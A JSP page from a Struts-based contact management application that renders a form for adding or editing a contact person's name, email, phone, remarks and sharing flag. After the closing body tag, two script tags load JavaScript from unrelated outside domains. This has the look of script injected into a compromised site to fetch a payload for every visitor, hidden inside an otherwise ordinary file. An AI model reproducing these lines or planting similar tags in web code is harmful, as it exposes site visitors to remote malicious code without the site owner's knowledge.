<%
/*
 * @(#)EditContactPerson.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditContactPerson.jsp

  This class is reflecting business logic uses.

    @author           Jenny Li
    @company          DCIVision Limited
    @creation date    04/01/2005
    @version          $Revision: 1.10.4.6 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.contact.bean.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintContactPersonForm" scope="request" class="com.dcivision.contact.web.MaintContactPersonForm"/>

<html>
<head>
<title><%= SystemParameterFactory.getSystemParameter(SystemParameterConstant.PAGE_TITLE)%></title>
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<meta http-equiv="Expires" content="0">
<!-- Common Stylesheet Begin -->
<link media="all" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/GlobalStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">
<!-- Common Stylesheet End -->
<!-- Common Javascript Begin -->
<script language="Javascript" src="<%= request.getContextPath() %>/js/Framework.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/ColorPicker.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/PopupWindow.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/StaticJavascript.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/PermissionSetup.jsp" charset="UTF-8" type="text/javascript"></script>

<script language="javascript">
g_curr_function_code = "<%=request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY)%>";
</script>
</head>

<body onUnload="reloadPage()" bgcolor="#FFFFFF" text="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" link="#000000" vlink="#000000" alink="#000000" ><div id="overDiv" style="position:absolute; visibility:hidden; z-index:1000;"></div>
<html:form action="contact/MaintContactPerson">
<html:javascript formName="maintContactPersonForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>

<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/
 String strTitle="Add New Contacts";
%>
<script language="javascript">
<!--
var globalIsLotusDomino = <%=!Utility.isEmpty(SystemParameterFactory.getSystemParameter(SystemParameterConstant.DOMINO_HOST))%>;
var afterSave=false;
function OpCustSave(){
  document.maintContactPersonForm.opMode.value="<%=GlobalConstant.OP_MODE_INSERT%>";
  document.maintContactPersonForm.navMode.value="<%=ContactPerson.NAV_MODE_NEW_CONTACTS%>";
  if (typeof ValidateForm == "function" && !ValidateForm(maintContactPersonForm)) {
    return(true);
  }
  afterSave=true;
  document.maintContactPersonForm.submit();
  return(false);
}

function OpCustSaveAndNew(){
  document.maintContactPersonForm.opMode.value="<%=GlobalConstant.OP_MODE_INSERT_NEW%>";
  document.maintContactPersonForm.navMode.value="<%=ContactPerson.NAV_MODE_NEW_CONTACTS%>";
  if (typeof ValidateForm == "function" && !ValidateForm(maintContactPersonForm)) {
    return(true);
  }
  afterSave=true;
  document.maintContactPersonForm.submit();
  return(false);
}

function reloadPage(){
  if(afterSave==false && (!self.screenTop || self.screenTop>9000) ){
    window.opener.refreshPage();
  }
}
//-->
</script>
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>

<!-- Page Title Section -->
<layout:titleFormat><font class="pageTitle"><layout:pageTitle functionCode="<%=SystemFunctionConstant.CONTACT_GROUP%>"/><%=strTitle%></font></layout:titleFormat>
<table cellpadding="20" cellspacing="0" border="0" width="100%"><tr><td>
<!-- System And Error Messages -->
<table cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td>
<html:errors/>
<html:messages/>
</td></tr></table>
<table width="780" cellpadding="0" cellspacing="2" border="0" align="left">
  <!-- Section Header -->
  <layout:sectionHeader name="contact.label.contact_list_info" mandatory='true'/>

  <tr>
    <td class="mandatoryLabel"><bean:message key='contact.label.first_name'/>:&nbsp;</td>
    <td class="dataField" width="75%">
    <%if(!ContactPerson.NAV_MODE_VIEW_CONTACTS.equals(maintContactPersonForm.getNavMode())){%>
      <html:text property="firstName" size="20" maxlength="100"/>
    <%}else{%>
      <bean:write name="maintContactPersonForm" property="firstName"/>
    <%}%>
    </td>
  </tr>
  <tr>
    <td class="mandatoryLabel"><bean:message key='contact.label.last_name'/>:&nbsp;</td>
    <td class="dataField" width="75%">
    <%if(!ContactPerson.NAV_MODE_VIEW_CONTACTS.equals(maintContactPersonForm.getNavMode())){%>
    <html:text property='lastName' size='20' maxlength='100'/>
    <%}else{%>
      <bean:write name="maintContactPersonForm" property="lastName"/>
    <%}%>
    </td>
  </tr>
  <tr>
    <td class="mandatoryLabel"><bean:message key='contact.label.email'/>:&nbsp;</td>
    <td class="dataField" width="75%">
    <%if(!ContactPerson.NAV_MODE_VIEW_CONTACTS.equals(maintContactPersonForm.getNavMode())){%>
    <html:text property='email' size='20' maxlength='100'/>
    <%}else{%>
      <bean:write name="maintContactPersonForm" property="email"/>
    <%}%>
    </td>
  </tr>
  <tr>
    <td class="<layout:classLabel />"><bean:message key='contact.label.phone_no'/>:&nbsp;</td>
    <td class="dataField" width="75%">
    <%if(!ContactPerson.NAV_MODE_VIEW_CONTACTS.equals(maintContactPersonForm.getNavMode())){%>
    <html:text property='phoneNo' size='20' maxlength='100'/>
    <%}else{%>
      <bean:write name="maintContactPersonForm" property="phoneNo"/>
    <%}%>
    </td>
  </tr>
   <tr>
    <td class="<layout:classLabel />"><bean:message key='contact.label.description'/>:&nbsp;</td>
    <td class="dataField" width="75%">
    <%if(!ContactPerson.NAV_MODE_VIEW_CONTACTS.equals(maintContactPersonForm.getNavMode())){%>
    <html:textarea property='remarks' cols="30" rows="3" textlimit="300"/>
    <%}else{%>
      <bean:write name="maintContactPersonForm" property="remarks"/>
    <%}%>
    </td>
  </tr>
  <tr>
    <td class="mandatoryLabel"><bean:message key='contact.label.sharing'/>:&nbsp;</td>
    <td class="dataField" width="75%">
    <%if(!ContactPerson.NAV_MODE_VIEW_CONTACTS.equals(maintContactPersonForm.getNavMode())){%>
      <html:radio property="publicFlag" onclick="return true" value="Y"/><bean:message key="contact.label.public"/>&nbsp;
      <html:radio property="publicFlag" onclick="return true" value="N"/><bean:message key="contact.label.private"/>
   <%}else{%>
     <%if("Y".equals(maintContactPersonForm.getPublicFlag())){%>
       <bean:message key="contact.label.public"/>
     <%}else{%>
       <bean:message key="contact.label.private"/>
     <%}%>
   <%}%>
   </td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif" width="1" height="10"/></td>
  </tr>
  <tr>
    <td colspan="2" align="center">
    <!-- The Buttons for Actions Handling -->
    <%if (!ContactPerson.NAV_MODE_VIEW_CONTACTS.equals(maintContactPersonForm.getNavMode())) {%>
      <html:standardButton label="common.label.save" onClick="return OpCustSave();"/>
      <% if (!GlobalConstant.NAV_MODE_CHANGE.equals(ACTION_MODE)) {%>
        <html:standardButton label="common.label.more" onClick="return OpCustSaveAndNew();"/>
      <% } %>
      <html:standardButton label="common.label.close" link="javascript:window.close();"/>
    <% } %>
    </td>
  </tr>
</table>
</html:form>
</body>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>